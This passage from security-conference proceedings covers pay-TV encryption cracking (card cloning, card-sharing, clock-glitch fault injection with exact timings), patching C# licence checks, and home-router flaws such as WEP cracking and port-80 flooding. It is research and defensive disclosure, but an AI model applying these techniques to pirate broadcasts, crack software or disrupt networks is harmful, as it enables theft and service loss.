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Entre temps, la rétro-ingénierie commencée sur le décodeur officiel commence à porter ses fruits, puisqu’il est  
possible de cloner un abonnement en cours de validité dans d’autres décodeurs officiels. Ainsi tous les décodeurs  
sortis du réseau officiel trouvent une seconde vie pour peu que l’on ait un voisin qui garde un abonnement actif.  
Ce clonage est réalisé par relecture d’une EEprom Microwire type 9306 et réécriture de cette dernière sur la puce 
d’un autre décodeur. Chose complexe à l’époque du fait de la rareté d’un tel programmateur. Aucune contre-
mesure n’a été possible.

Ensuite, c’est le système complet qui est découvert par rétro ingénierie. Le nom de Discret 11 prend tout son 
sens, 11 pour les 2^11 de la longueur de la table de retard à appliquer sur chaque ligne de 6 images consécutives. 
Le parcours de cette table est initialisé d’après un code qui est rentré tous les débuts de mois par l’abonné ou par  
un code de secours chargé via la ligne 310 de l’image pour les débuts de mois et palier aux éventuels retards /  
grèves des PTT.  Le code abonné est unique et est transformé d’après le numéro de série présent dans l’EEprom 
pour obtenir la clé de décodage commune. 

Les premières implémentations sont réalisées avec une recherche manuelle du code, qui prenait parfois jusqu’à 
une  demi-heure  chaque  début  de  mois.  Les  dernières  implémentations  sont  elles  plus  performantes  que  le 
décodeur officiel : recherche automatique du code en quelques secondes à l’aide d’un système d’acquisition des  
décalages observés et comparaison dans une table prédéfinie, le tout monté avec des composants CMS pour un 
encombrement plus faible qu'un paquet de cigarette. A ce stade le diffuseur n’a pu émettre aucune contre-mesure 
et le système complet est considéré comme étant tombé dans le domaine public.

Un système qui a eu le mérite d’être le premier mais avec nombres d’erreurs de conceptions qui n’a donc jamais  
joué son rôle de sécurisation du flux. La raison principale de l’échec est l’absence de mise à jour possible du  
logiciel embarqué dans le décodeur et globalement la simplicité du cryptage mis en place pour des raisons de 
coût.

III. 1995

Complètement dépassé, le Discret 11 est remplacé petit à petit par le nouveau système : le « Syster » (SYStème 
TERrestre). Derrière ce décodeur se trouve la société Kuldeski avec son système de cryptage Nagravision. Sur le 
papier il semble robuste. Pourtant ça n’a pas duré … 

Comment fonctionne le Nagravision ? Pour le déterminer, à nouveau rien de plus simple : il suffit de regarder 
l’image pour s’apercevoir  cette  fois-ci  que le  mélange de l’image est  plus complexe,  toutes  les  lignes sont 
mélangées, il y a une zone vide et puis il y a quelques lignes tassées en bas l'image. Elles sont entières malgré 
tout, mais pas à la bonne place. De plus, l’image cryptée est en noir et blanc, la couleur n’est pas là.

Pour rappel en 1984 l’étude de l’image, sans aucune connaissance globale du système, a permise de décoder le 
flux, en 1995 l’erreur se répète. L’étude de l’image est à nouveau au centre de la solution. Nagravision a très 
certainement été conçu pour sécuriser des flux vidéos en PAL, exception Française (merci de Gaulle),  notre 
système audiovisuel est  en SECAM. Ce que les ingénieurs de Kuldeski ont raté  c’est  une des propriétés de 
l’image à crypter : en SECAM chaque ligne d’image n’a pas l’information complète de la composante couleur 
mais seulement la moitié. Ainsi une ligne possède le rouge (R-Y) et la suivante possède le bleu (B-Y) et c’est la 
combinaison des deux et de la luminance Y qui permet de retrouver le vert : Y=0,59V+0,30R+0,11B. Un signal 
vidéo  SECAM  possède  donc  une  suite  de  lignes  de  la  forme  R-Y,  B-Y,  R-Y,  B-Y  etc.  Le  principe  du 
Nagravision étant de mélanger les lignes, cet alternat n’est plus respecté. Lorsque l’on observe l’image cryptée 
on peut donc relever une suite pseudo aléatoire de lignes R-Y et B-Y. Pour décoder l’image cette information est  
donc capitale. L’observation statistique a permis de se rendre compte que seulement 32768 mélanges R-Y & B-
Y existent et qu’un nombre limité de mesure permettait de retrouver la permutation à appliquer à l’image pour la  
retrouver en clair. L’implémentation a été possible et la génération suivante de décodeurs pirates est arrivée. Il 
est  important  de  noter  qu’aucune  ingénierie  inverse  du  décodeur  officiel  n’a  été  nécessaire  pour  arriver  à  
décrypter le flux. La contre-mesure associée a mis du temps à arriver. Aucune mise à jour du matériel chez les 
abonnés n’a été faite, probablement pour des raisons de coûts. Le Nagravision permettant cependant des mises à 
jour à distance des droits des abonnés il est tout à fait possible de changer des clés de décryptage à distance. La  
solution trouvée a très certainement dû demander pas mal de calculs aux ingénieurs de Kuldeski : ils ont dû 
trouver un codage d’image mensuel qui faisait retomber une majorité de ligne rouge à la place d’un rouge et 
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pareillement pour les lignes bleues, afin de retrouver un alternat R-Y, B-Y, R-Y, B-Y à peu près respecté pour 
empêcher la détection du décodeur pirate. A la suite de cette contre-mesure l’image encryptée est repassée en 
couleur sur les téléviseurs et les décodeurs pirates se sont irrémédiablement arrêtés de fonctionner.

Parallèlement au décodeur hardware,  une autre attaque intéressante voit le jour sur ce système de cryptage : 
l’utilisation d’un ordinateur de type PC, équipé d’une carte d’acquisition vidéo. Le chipset BT848 est produit en 
masse et les coûts baissent drastiquement rendant accessible ce matériel au grand public, ce qui permet à des  
développeurs de s’essayer à l’implémentation d’une solution de décodage basée sur la corrélation des lignes. 
Partant du principe que deux lignes d’image se suivant sont relativement similaires il est possible de déduire 
quelle est la ligne la plus ressemblante parmi les suivantes. Les premières implémentations ne sont pas très  
fiables et demandent beaucoup de calculs pour des résultats moyens. Mais une propriété intéressante va être 
déduite de l’étude des composants utilisés dans les décodeurs pirates : la taille de la mémoire disponible permet 
de  ne  mémoriser  que  32  lignes  d’image,  lorsque  la  33ème arrive  elle  remplace  forcément  une  ligne  déjà 
mémorisée qui doit  être  affichée.  Ensuite c’est  la découverte des 32768 permutations possibles d’image qui 
oriente les calculs et les rend encore plus fiables. Ces deux propriétés aboutissent à la création d’un fichier de 
permutation d’aide au calcul de corrélation et va rendre utilisable au quotidien les logiciels de décodage sur  
ordinateur. Aucune contre-mesure ne sera déployée et n’a dû être étudiée du fait du caractère contraignant de 
l’utilisation d’un PC.

Également, certains prirent un peu d’avance sur l’ingénierie inverse du décodeur officiel et surtout l’étude de la  
clé propre à chaque abonné. Le protocole d’échange entre le décodeur et la clé insérée en face avant étant 
simpliste,  tout  a  été  découvert  assez  rapidement  permettant  ainsi  d’observer  les  échanges  décodeur  /  clé. 
Cependant les calculs de clés nécessaires aux permutations de lignes et de mise à jour mensuels restent secrets.  
L’étude  de  la  clé  blanche  en  face  avant  du  décodeur,  unique  pour  chaque  abonné,  devient  obligatoire  et 
commence tout d’abord par une lecture optique pour déterminer les diverses générations de CPU. Ensuite une 
première ROM est relue par injection de code et l’étude continue avec la découverte des algorithmes utilisés : du 
DES pour décoder l’image et du RSA pour les mises à jours mensuels, ce qui est à la pointe de la technologie 
pour la période. Des implémentations sont rapidement disponibles sur les microcontrôleurs ATMEL 8515 mais 
nécessitent  une programmation mensuelle des clés de décodage. Les contre-mesures commencent et obligent 
périodiquement  l’implémentation de  petits  changements  dans les  émulateurs  au gré  des  nouvelles  fonctions 
utilisées et présentent dans la ROM mais ne rendent jamais longtemps inopérant le décryptage. 

Puis l’étude des ROM aboutit  à la compréhension totale du système en terme de reprogrammation et  il  est  
possible de cloner les données personnelles d’un abonné valide dans une autre clé. Coté contre-mesure rien n’a  
été possible de ce côté-là. Les clés deviennent des clones parfaits à l’octet prêt, il est impossible de distinguer  
une clé officielle d’une clé pirate.

Malgré tout, le « Syster » reste en service jusqu’à la fin de la diffusion de la télévision analogique.

IV. 1996 – 2002

La diffusion numérique par satellite utilisant la norme DVB-S commence et c’est le système « Mediaguard » qui 
est  choisi  pour  assurer  sa  sécurisation.  Sur  le  plan  technique  le  piratage  de  la  première  génération  du 
« Médiaguard » reste analogue au piratage du système « Syster » et ne sera pas détaillé dans la présentation. Il 
est cependant à noter qu’à la suite de l’ingénierie inverse les implémentations des émulateurs sont aisées et que  
la fréquence de reprogrammation liée aux contre-mesures du diffuseur est accrue. Mais en pratique ceci ne pose  
pas  de  problème majeur  car  internet  est  arrivé  et  joue maintenant  un rôle majeur  dans la  diffusion  de  ces 
émulateurs.

V. 2002 – 2008

La deuxième génération du système « Mediaguard » arrive : cette fois c’est une avancée technologique en termes 
de sécurité.  Les cartes sont aux primes abords inviolables.  L’étude optique permet  cependant  d’identifier la 
famille de microcontrôleurs : ATMEL 90SC6464C.
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Mais une fois de plus, l’ingéniosité des pirates va primer sur ce nouveau système et une nouvelle méthode de 
décodage illicite va naître : puisqu’il n’est pas plus possible d’émuler les cartes ou de les cloner, ils ne restent  
plus qu’à les partager. Le partage de carte, appelé « card-sharing », est ainsi arrivé. Il faut s’intéresser à la norme 
DVB  pour  comprendre  comment  est  née  l’idée.  Protéger  un  flux  numérique  MPEG2  demande  un  étage 
supplémentaire au circuit de décodage du flux satellite, le « CI/CSA », qui récupère directement de la carte à 
puce la clé de décodage et remet le flux en clair. Vu le débit du flux vidéo et la nécessaire rapidité de décodage,  
c’est un composant dédié qui s’occupe des traitements, il est normalisé, produit en masse et n’est pas spécifique 
à un diffuseur de contenu. Les propriétés de la norme DVB sont très intéressantes au niveau de ce circuit de 
décodage : il doit disposer de la clé actuelle et de la clé suivante (appelé Decrypted Word, DW) pour effectuer le  
basculement automatiquement de la clé de décodage N à la N+1 pour qu’il n’y ait pas d’interruption d’image 
lors du basculement du décodage vers la clé suivante. Les moyens de communications ayant évolués depuis la 
mise en place de la norme DVB, il est aujourd’hui possible d’échanger en temps réel par l’internet tout ce qu’il  
faut pour alimenter le « CI/CAS » d’un récepteur satellite avec des données provenant d’une carte à des milliers 
de kilomètres. Échange qui était impensable à l’époque de l’élaboration de la norme DVB. Ainsi tout s’organise  
petit  à  petit :  l’ingénierie  inverse bat  son plein et  tous les récepteurs  officiels  comme ceux de distributeurs 
indépendants avec le label « SECA / Mediaguard » sont modifiés pour récupérer depuis une source externe la clé 
de  décodage.  La  présence  de  port  série  sur  la  quasi-totalité  des  récepteurs  satellite  facilite  grandement  la 
communication vers l’extérieur. Ainsi se normalise le « card-sharing » et foisonne des tas de clients / serveurs 
pour tous les types de démodulateurs. La problématique de l’usage d’un PC allumé 24/24 se règle parfois par la 
mise en place du client dans des bases Wifi fonctionnant sur « OpenWRT ». Le logiciel libre est également mis à 
contribution et  le  fabricant  Allemand « Dream-multimedia » va même commercialiser  un récepteur  satellite 
fonctionnant sous Linux qui nativement s’avère être prêt à recevoir tous les clients de « card-sharing ». Une des 
propriétés intéressante du partage de carte est l’effet de cache, lorsque plusieurs clients demandent le décodage 
d’une même chaîne, l’interrogation de la carte ne se fait qu’une seule fois et un principe de cache peut être mis  
en place, rendant ainsi le nombre de clients virtuellement illimité. D’autres astuces sont également utilisées pour 
augmenter le nombre de clients sur une seule et même carte dans le cas de demande de décodage de nombreuses 
chaînes, comme l’overclocking à des fréquences de fonctionnement plus élevées. A ce jour le diffuseur n’a pas 
encore trouvé de parade efficace à ce système de partage. Quelques tentatives ont pourtant été essayées dans les  
pays voisins, on peut citer le mariage décodeur <-> carte qui rajoute une couche d’encryptage dans les échanges 
dans le but de les rendre uniques et différent d’un démodulateur à l’autre. Seulement, cette clé étant stockée dans 
le décodeur de chaque abonné est toujours recouvrée par les moyens d’ingénierie inverses usuels comme le 
dump par interface JTAG/OS-Link/BDM. Une autre contre-mesure est de garder une clé de décodage DW valide 
le moins longtemps possible de sorte à solliciter la carte à puce plus souvent dans le but de tenter de diminuer le  
nombre  de  clients  sur  la  même carte.  Malgré  tout,  à  ce  jour  rien  ne  permet  de  stopper  franchement  cette 
technique.

Et la carte à puce dans tout ça ? Malgré l’engouement pour le partage de carte, le travail sur la carte à puce du 
diffuseur a continué. Sans en connaître la provenance, qui a laissé place aux spéculations les plus folles,  la ROM 
de la carte dans sa version 7.0 est apparue en provenance d’un pays étranger (Espagne ou Italie) utilisant ce  
même  système  de  cryptage.  L’étude  de  celle-ci  a  commencé,  mais  cette  fois  la  chose  a  été  moins  aisée.  
L'utilisation  de  RSA,  SHA1  et  autres  algorithmes  spécifiques  de  permutations  rend  l’ingénierie  inverse 
fastidieuse.  A  la  suite  de  cette  étude,  aucun  bug  évident  d’implémentation  n’a  été  découvert  ce  qui  rend  
impossible l'injection de code. Le début de la modification de la carte arrive quand l'étude de la ROM révèle que  
les trames de mises à jours sécurisées par du RSA, dont bien-sure nous ne possédons pas la partie privée de la  
clé, peut se bypasser par un simple padding de 90 octets lors de l'envoie d'une commande. La connaissance de la  
ROM, des clés mensuelles et des algorithmes permettent donc de signer correctement les trames et de mettre à 
jour quelques zones de l'EEPROM pour implanter des données et du code. Par contre toujours aucun moyen 
d'exécuter le code mis en place en EEPROM et aucune solution pour altérer la zone de FLASH. Les moyens à  
mettre en œuvre pour en prendre le contrôle ont du se radicaliser et c’est ainsi que les injections de fautes sur ces 
cartes à puces ont été nécessaires. Pourtant le microcontrôleur ATMEL choisi est normalement protégé contre 
ces attaques externes, mais il n’en sera rien dans la pratique. Les perturbations franches de la ligne de tension ne  
donnent rien à part dans des cas extrêmes un simple RESET. Mais l’ajout de perturbations (glitch) sur la ligne  
d’horloge lors d’essais en aveugles  et  successifs  se révèlent fonctionnels et  arrivent  à produire des résultats 
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inattendus ou erronés sur des fonctions basiques de la carte. Le plus gros problème reste de matérialiser cette 
possibilité  de  perturbation  externe  observée  en  un  ciblage  d’instructions  précises.  Le  but  étant  de  dévier  
l’exécution d'une commande légitime en FLASH vers l'EEPROM mise à jour avec  un code maison. La première 
étape consiste à déterminer un caractère reproductible des glitchs. Les tests montrent qu'avec une horloge à  
1MHZ le glitch qui échappe à la détection du microntroleur doit faire 20ns de large et doit être déclenché 50ns  
après le front montant de l'horloge. Une horloge de 100MHZ et un CPLD Xilinx XC9536XL est donc nécessaire  
pour obtenir ce comportement. De cette horloge on obtient une autre horloge à 10MHZ pour un microcontroleur  
AT90S2313  qui  joue  le  rôle  de  superviseur  pour  asservir  la  carte.  La  carte  est  également  downclocké  de 
3.57MHZ à 1MHZ afin d'obtenir un précision parfaite pour le pilotage de tous les événements. Des cartes 7.0 en 
provenance d'Espagne et d'Italie sont utilisées pour la mise au point de ce hardware dérivé à 80% d'un montage  
commercialisé aux USA, ceci afin de ne pas repartir d'un design de from scratch.

Le matériel étant prêt, il faut maintenant passer à la seconde phase, matérialiser une injection de code. Tout  
d'abord il faut synchroniser le AT90S2313 sur le code interne de carte et prendre un point de référence pour 
commencer à compter les cycles.  Ce point de comptage est tout simplement la fin de la transmission d'une  
commande à la carte. L'étude de la ROM 7.0 révèle deux routines distinctes qui empêchent d'exécuter le code en  
temps constant. Une série de deux glitchs est donc à placer  sur ces boucles alimentés par un générateur de 
nombres aléatoires avant de commencer à perturber le fonctionnement de la carte. Il est à noter qu'arriver à ce 
point précis du projet a demandé de long mois de travail...

La carte fonctionnant maintenant en temps constant au regard d'une commande lancée, le ciblage de n'importe 
quelle  instruction  est  donc  possible.  Une contrainte  est  que  la  seule  opération  possible  de  perturbation  est 
l'annulation de l'exécution d'une instruction, ce qui est déjà somme toute suffisant. Toujours en étudiant la ROM 
une portion de code opérant des recopies de RAM à RAM est découverte. Cette commande ainsi altérée par des 
glitchs successifs permet de changer une adresse de retour dans la pile et détourner le PC sur une zone EEPROM 
préalablement  modifiée.  A ce  stade le contrôle sur  la carte  est  totale  et  le système dans sa version 7.0 est 
totalement compromis.

La bonne compréhension de la ROM doublée du dump possible de n'importe quelle zone EEPROM aboutit 
logiquement à l'écriture d'émulateurs sur des cartes AT90SC3232 de la même famille, mais moins onéreuses. 
Les clés mensuelles mise à jour par le diffuseur se relisent sans souci d'une carte officielle et même les fonctions  
de mises à jours automatiques se développent, ne nécessitant plus aucune opération pour avoir un émulateur  
fonctionnel aux fils des mois.

Entre temps, pas mal d'informations commencent à circuler sur les ROM version 7.1 utilisée en France, ce qui 
nous permet de prendre connaissance de son contenue et d'adapter les techniques décrites préalablement pour 
obtenir une solution de décodage. Ceci aboutit d'ailleurs à la compréhension totale du système. La sophistication 
de la ROM est telle, qu’il y a des effets de bords plutôt inattendus. Un mécanisme que l'on choisi d'appeler  
« nano-commandes » y est découvert et permet d'exécuter des zones de codes présentes en EEPROM. Ceci se 
fait donc directement sans avoir à utiliser de glitch. Ce système prévu pour permettre d’implanter dans la carte de 
nouvelles fonctions et ainsi rendre obsolètes les émulateurs se retourne donc contre eux. Il nous sert maintenant 
pour la  gestion de la  carte  avec un simple lecteur  ISO 7816 et  le  logiciel  adéquat  qui pilote les  backdoor  
implantées.

Coté  contre-mesures,  avec  l'arrivé  des  émulateurs  qui  se  diffusent  très  rapidement,  elle  sera  aussi  radicale  
qu’imprévue : le composant ATMEL AT90SC6464 ayant servi pour l’implémentation officielle est identique en 
tout  point  à  la  version  catalogue  coté  microprocesseur.  Mais  le  coprocesseur  arithmétique  embarqué  a  été 
spécialement  modifié  sur  ordre  du  diffuseur  et  dispose  de  8  fonctions  inconnues.  Certaines  fonctions 
élémentaires sont découvertes par cryptanalyse et implémentées, mais les plus complexes resteront inconnues et 
arrêteront ainsi la totalité des émulateurs. Par contre, quelques essais sont faits pour stopper la gestion des cartes  
officielles, mais l’injection de fautes couplée à la disponibilité de la ROM font que les cartes clonées resteront  
fonctionnelles jusqu’à la fin de vie du système.
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VI. ATTAQUES À DÉVELOPPER

Une piste n’a pas encore été développée  et est pourtant prometteuse : le décodage du flux DVB en « brute-
force » par une implémentation alternative et plus rapide de l’algorithme CSA [1,2,3] en utilisant des FPGA. Le 
« DW » qui alimente l’algorithme du CSA fait 64 bits, cependant le nombre utile de bits est de 48 seulement. Un 
décodage temps réel ne sera certainement jamais possible lié à la fenêtre de validité de la clé durant seulement 10 
secondes. Mais le décodage d’un programme ciblé, enregistré crypté, dans un temps raisonnable pourrait être 
envisageable.

VII. NO FUTUR  ?

Aujourd’hui le problème du card-sharing existe à cause de l’obsolescence de la norme DVB. Cette norme a 
évolué pour endiguer cette technique et une fois les circuits à la norme DVB-CSA 3 en service il sera impossible 
d’intercepter le dialogue carte<->CI/CAS. Ceci signerait la fin du partage de carte.

Autre piste, il est de moins en moins onéreux d’obtenir des devices électroniques avec des numéros de séries 
infalsifiables et impossibles à dumper.  Ceci permettrait de disposer de valeurs uniques dans chaque matériel 
officiel,  démodulateur ou carte,  et devrait  rendre le clonage parfait  de ces devices impossible. Ce qui laisse  
toujours  une différence  détectable  et  exploitable  par  des  contre-mesures  associées.  Ceci  couplé  à  la  bonne 
résistance des cartes à puces sécurisées d’aujourd’hui rendent le système de calcul du DW quasiment inviolable.

Les moyens de communications modernes (haut-débit) tendent vers la VOD et remettent en cause les systèmes 
de diffusion d’un flux unique vers N abonnés. La sécurité ne s’en trouve que plus renforcée.

Et  enfin  dans  le  cas  du  maintien  d’une  solution  de  diffusion  d’un  flux  unique,  la  présence  d’un  canal  de 
communication remontant de l’abonné vers le diffuseur pourrait ouvrir de nouvelles perspectives de sécurisation.
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3.6 bswapeax/ Managed Code with Licensing does not always mean Software Protection

3.6.1 bswapeax

bswapeax is an old lover of assembly language, it’s nearly his native tongue and loves to do reverse engineer-
ing when a problem occurs on its systems. He worked on BIOS (firmware) and its security for more than 10
years and then moved to the telecom business. Always ready to reverse some funny stuff, he knows a lot on
reverse engineering and debugging technics... and a lot stuff done that cannot be disclosed :)

3.6.2 Managed Code with Licensing does not always mean Software Protection

This talk focuses on the reverse engineering and especially on managed code (C#) and explains how a pro-
tection can be removed without problem due to bad design even if you use security proofed concept such as
encryption. Thanks to examples, we will demonstrate a reverse engineering process, a live patch and reuse of
a patched version in order to remove software protections. We highlight that a manage code can be consider
as a regular assembly language code... we go through the MSLI internals and explain how a manage code
binary is organized and how to enforce its protection.

• Talk and paper can be downloaded from http://grehack.org
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Abstract—This paper tries to kill old daemons used by software 

marketing trying to let us think that a managed code with 

encryption can protect your software. 

I. INTRODUCTION 

This paper would like to help developers prevent bad 

coding usage in term of licensing software protection. It relates 

several experiences seen of bad practices around licensing that 

use known technologies (Cryptography, obfuscation…).  

For this, the paper presents an example of a managed code 

using encryption in order to protect software, and demonstrate 

how to remove it by code injection, and finally tries to provide 

some advice in order to improve final results. 

II. A BIT OF HISTORY 

It is not easy to summarize a coding life evolution, but a 

long time ago, there was the ENIAC Coding System in the 

1940’s, then in the 1950~60’s some new modern programming 

languages FORTRAN, LISP, COBOL.., in the 1970’s we saw 

some new structured programming languages C, PROLOG,… 

leading to a new decade around consolidation and performance 

C++, MODULA, ADA, up to the 1990’s where JAVA, HTML, 

PYTHON, RUBY…. arrived for the internet age and now with 

this last decade C#, OpenCL, Go, Dart… in fact a long story 

between a programmer and a programming language. This 

evolution is led by some lacks of other languages or the need to 

provide new functionalities.  

But, all the time a new language like GO says that it offers 

an environment that makes it easy to build simple, reliable and 

efficient software. This constant evolution tries to adapt the 

language and to simplify the building of software bricks to a 

trend (web site, phone application, games…) sometimes with 

good results. Actually, one point is missing, security is not only 

a concept of programming language or cryptographic concept 

and the following paper tries to demonstrate it. 

III. LANGUAGE AND ENCRYPTION = SECURE ? 

From the previous list of languages, Java and C# are 

nowadays widely used for application development from 

Phone applications to PC applications. Maybe some academic 

approach lets us think that a program written in Java or C# is 

easy and offer a good code protection level thanks to the 

concept of sandbox, exceptions catcher… 

By accepting this confusing notion, a developer may put 

emphases on the protection from only a cryptologic point of 

view (using large key size in a RSA algorithm for instance) or 

on the data flow between a client and a licensing server.  

Somewhat true, if you know how to correctly use an 

encryption or a signing algorithm. 

 

But, is it sufficient? 

IV. PREPARE YOUR MIND 

Let’s clarify some concepts before going further to the 

heart of the subject. Thanks to: C# or Java your program, if you 

don’t use native code can be executed independently on 

different targets (CPU or Operating System). For instance C# 

application works fine on a 32-bits or 64-bits operating system 

and on Windows (CLR) or Linux (Mono). For this you need to 

standardize the way you will generate your binary. This is the 

goal of the MSLI (Microsoft intermediate language) which is a 

byte code representation of your final program. Microsoft calls 

a managed code a code that requires and will only be executed 

under a CLR (Common Language Runtime virtual machine). 

The next drawing shows how a C# code is transformed into 

an executable and interpreted. 

 

Figure 1 – Byte Code generation chain 
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As you can see the MSIL code is the result of a compiler that 

produced a binary, it contains a specific metadata table which 

refers to various entries: Modules, Assemblies, and 

Properties… so it does not differ from a native program (C or 

C++) which are represented by CPU opcodes. 

 

 

V. SOFTWARE EXAMPLE 

The example is based on known sport software that permits 

you to track equipment, activities, provide reports… This tool 

is written in C# and works under Windows. It uses a Licensing 

system with encryption in order to protect and avoid an 

installation on more than two computers. 

VI. ACHIL NEAL 

This product is protected with a license in order to offer a 

trial period and it uses an encryption mechanism. The current 

software uses a unique key (System ID and a HDD Serial 

Number) and sends it to a server in order to receive a valid 

license key based on a purchase order. So, it links or unlinks 

your computer to a purchase ID. With the help of Wireshark or 

Fiddler, it easy to spy exchanges between a client and a server. 

After a quick review it appears that the licensing system uses 

strong encryption and sends two volatile piece of data to the 

server, and in return an encrypted license based on RSA with a 

2048 key is returned. The local software validates the license 

by trying to decipher it with its public key, and enable or 

disable some functionality.  

 

Looking at the code with a disassembler shows a first 

weakness, the code was not obfuscated and with the help of a 

tool such as Reflector it was possible to easily reverse engineer 

the code. 

This point is very important, because native code reverse 

engineering produces assembly language based on opcodes 

whereas with byte codes you may get readable code.  

A second error was to use the word (Licensing) and so 

locating the license manager was easy. A good design also 

help, all functions were concentrated in a specific area. After a 

quick review, it appears that trying to break the encryption 

license key will lead to a long dead-end road. But, some 

function names were very funny, easy to understand 

(IsValidLicense, VerifyLicenseInfoInfo…), looked promising 

and showed some weaknesses. This central point with all 

functions is in fact a weakness because the data are not 

forwarded to lower levels of the code but all data are analyzed 

and used in order to produce a simple result set.  

The idea is to apply a very old trick done many times in 

assembly language, is to look at the return code of a function 

and change the condition evaluation (eg. jz into jnz) and 

replace this right opcode in the binary in order to skip a 

protection. 

 

So, the question, is can we do the same with byte-code or 

managed code? 

VII. MANAGED CODE PATCHING 

Like a regular binary file, a managed code binary is a 

binary with some extra metadata sections, so it’s easy to 

manipulate it, and use code injection by adding references to 

new components. 

In this case, the target was to route all calls to 

VerifyLicenseInfo and CheckLicense to a new assembly in 

order and leave the old code in place. By changing the behavior 

of two functions (VerifyLicenseInfo and CheckLicense) it is 

possible to return codes and ignore the client/server 

authentication part. 

VIII. HOW TO INJECT THE CODE 

The first step is to prepare a new assembly (library) with 

the modified code using the same namespace in order to inject 

the reference to it in the existing binary. When ready, it’s 

necessary to modify the PE Header of the binary file in order to 

create a new reference to our assembly: eg. xxxx-patch.dll 

 

This assembly file contains our code that will be used when 

all specific references to the current code are replaced with the 

new one. For this, it may be necessary to patch some opcodes 

of the binary. 

Searching all references provides two entries: one in the 

main application and one in the refresh of a control. 

 

Figure 2 – Opcode change 

 
 

You need to patch opcodes in order to invoke the new 

assembly file by changing the method reference associated to 

it. For instance, a call opcode is represented by the byte 0x28 

followed by arguments. Arguments are marked by other 

commands telling the way to pass arguments on the stack (load 

arguments on the stack, load local variables on the stack, push 

null references on the stack…) followed by the value. In fact, a 

good disassembler [Cecil + Reflexil] really help and a good 

developer may route all calls to its own functions. 

 

IX. OBFUSCATION AND STRONG NAMES 

The use of an obfuscation mechanism may help to slow 

down but may not prevent such action. A good obfuscator will 

encrypt string and use a specific decoding string method in 

order to track in the code where the entry point of a failure 

method is. But, with the help of an open source CLR such as 

mono, you can modify it and put in place a tracker of the String 

method (eg. Tracking an error message can be done in the 

native method in the CLR itself by adding a kind of breakpoint 

when the string matches our criteria) in order to localize the 

desired module. Depending on the capacity of the obfuscator 
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on your capacity of disassembling the code in a readable 

manner may vary.  

 

But all obfuscators do not give the same level of expectation. 

 

If you use a strong name key, you can NOT use a modified 

assembly if you tried to patch it. But, removing the Strong 

Name Signature from the PE file can be also done, so it’s not a 

problem and most of the time, the assembly load is not 

enforced so permitting this kind of action is easy. 

X. CONCLUSION 

In fact a good software protection does not depend only on the 

use of existing and proofed concepts but how you interconnect 

them in your system protection. The use of obfuscation is 

really needed but not so widely used certainly due to a lack of 

information. 

 

It may also be useful to respect a well know rule that you can 

improve the resistance of your protection separate Trial and 

Final versions which mean the Trial binary is totally different 

from the Final Version. 
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3.7 Paul Amar/ Home Internet Routers for Fun & Profit

3.7.1 Paul Amar

Paul is a BSc graduate in Computer Science. He is currently an MSc student at Ensimag, a french Com-
puter Science engineering school at Grenoble. He is passionate about information security, pentesting and
especially web vulnerabilities. He works as a R&D Engineer at BonitaSoft.

3.7.2 Home Internet Routers for Fun & Profit

The author found several vulnerabilities on home Internet routers. Several realistic attack scenarios that
can impact individuals and small companies networks will be described and Proof-of-Concepts exploitation
of those vulnerabilities will be showed. All shown vulnerabilities have been already reported to french CERT.

• Talk and paper can be downloaded from http://grehack.org
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Résumé—Cet article porte sur mes recherches concernant les 

vulnérabilités présentes sur les routeurs informatiques. J’y 

démontre certains exploits en expliquant les différentes 
démarches que j’ai réalisé.(Résumé) 

INTRODUCTION 

 

A l’heure actuelle, tout ménage français ayant une 

connexion internet est muni d’un routeur. Ce dernier est très 

souvent fourni par le fournisseur d’accès internet (FAI) chez 

qui l’abonné est inscrit. Le routeur est le point central d’un 

réseau, car c’est celui qui permet de faire la passerelle entre un 

réseau de particulier au réseau des réseaux : Internet.  

 

L’un des prédicats serait celui d’apporter une réelle sécurité 

(ou en tout cas, aucune vulnérabilité) pour tout utilisateur qui 

viendrait à l’utiliser. Après plusieurs mois de recherche, j’ai 

souhaité dresser un constat de mes différentes trouvailles tout 

au long de mes recherches.  

 

Mon exposé portera en premier sur la sécurité réseau, pour 

ensuite m’attarder sur les vulnérabilités Web rencontrées. 

VULNERABILITES AU SEIN DES FAI 

 

A. Problèmes réseaux 

 

1) Faiblesse des protocoles réseaux utilisés 

 

Prenons un FAI grand public, que nous noterons FAI 1. Les 

routeurs qu’il fournit à ses clients sont configurés par défaut 

pour déployer un réseau Wifi utilisant comme type de sécurité,  

le protocole Wired Equivalent Privacy  (WEP)  [1].  

 

Toutefois, depuis 2005, il a été démontré qu’il était possible 

de pénétrer un réseau protégé par WEP en quelques secondes 

[2]. 

 

Différentes attaques peuvent être réalisées comme l’attaque 

Chop-Chop [3] ou encore par Fragmentation [4] afin de 

générer du trafic sur le réseau et ainsi faire baisser le temps 

pour cracker la clé. 

 

L’une des modifications à apporter serait la configuration par 

défaut utilisant un protocole tel que WPA2-PSK [5], protocole 

non faillible aux attaques de type Chop-Chop ou par 

fragmentation.  

A l’heure actuelle, le seul moyen de cracker un tel réseau est 

une attaque par dictionnaire et/ou par brute force. 

 

2) Déni de Service possible 

 

Les attaques de type Denial of Service (DoS) [6] sont 

monnaies courantes à l’heure actuelle, et aucune protection 

n’est mise en place chez certains fournisseurs. [7]  

Le simple fait de connaitre l’adresse IP (Internet Protocol) [8] 

d’une box représente un réel risque derrière ces particuliers ou 

encore ces entreprises.  

Les conséquences peuvent être diverses :  

 Coupure d’internet et téléphone  

o Impossibilité de contacter ses proches, 

collègues, ou toutes autres personnes. 

 Inaccessibilité auprès de ses clients (donc mauvaise 

image perçue pour eux) 

o Si un client contacte l’entreprise ciblée, et 

qu’elle ne peut pas répondre pour cause 

d’attaque, le client ne va pas se sentir en 

sécurité. 

 Perte de contrôle sur l’infrastructure de l’entreprise 

o Si un DoS est réalisé sur les Box, certains 

pirates pourraient en profiter pour s’attaquer 

aux services externes de l’entreprise, laissés 

sans surveillance. 

Un pirate pourrait donc bloquer l’accès à internet d’une 
entreprise, en laissant ses collègues s’attaquer aux sites 

externes de l’entreprise. Cette dernière ne pourrait rien faire, 

car plus d’accès réseau.  

 

Après plusieurs essais, un simple script python (présenté lors 

de la conférence) lançant plusieurs threads qui se connecte sur 

le port 80 (http) de la box permet de la faire saturer.  

Une solution aurait été de bloquer l’accès de façon temporaire 

à une IP demandant une quantité de données trop importante 

en un délai trop court. (ex: 200 requêtes en 2/3 secondes)  

 

B. Vulnérabilités Web 
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Avant toute chose, durant mes recherches, j’ai (entre autre) 

utilisé l’add-on Firefox « Tamper Data », utilitaire qui permet 

d’éditer en temps réel les requêtes HTTP. [9] 

Nous prendrons un deuxième FAI, que nous noterons FAI2. 

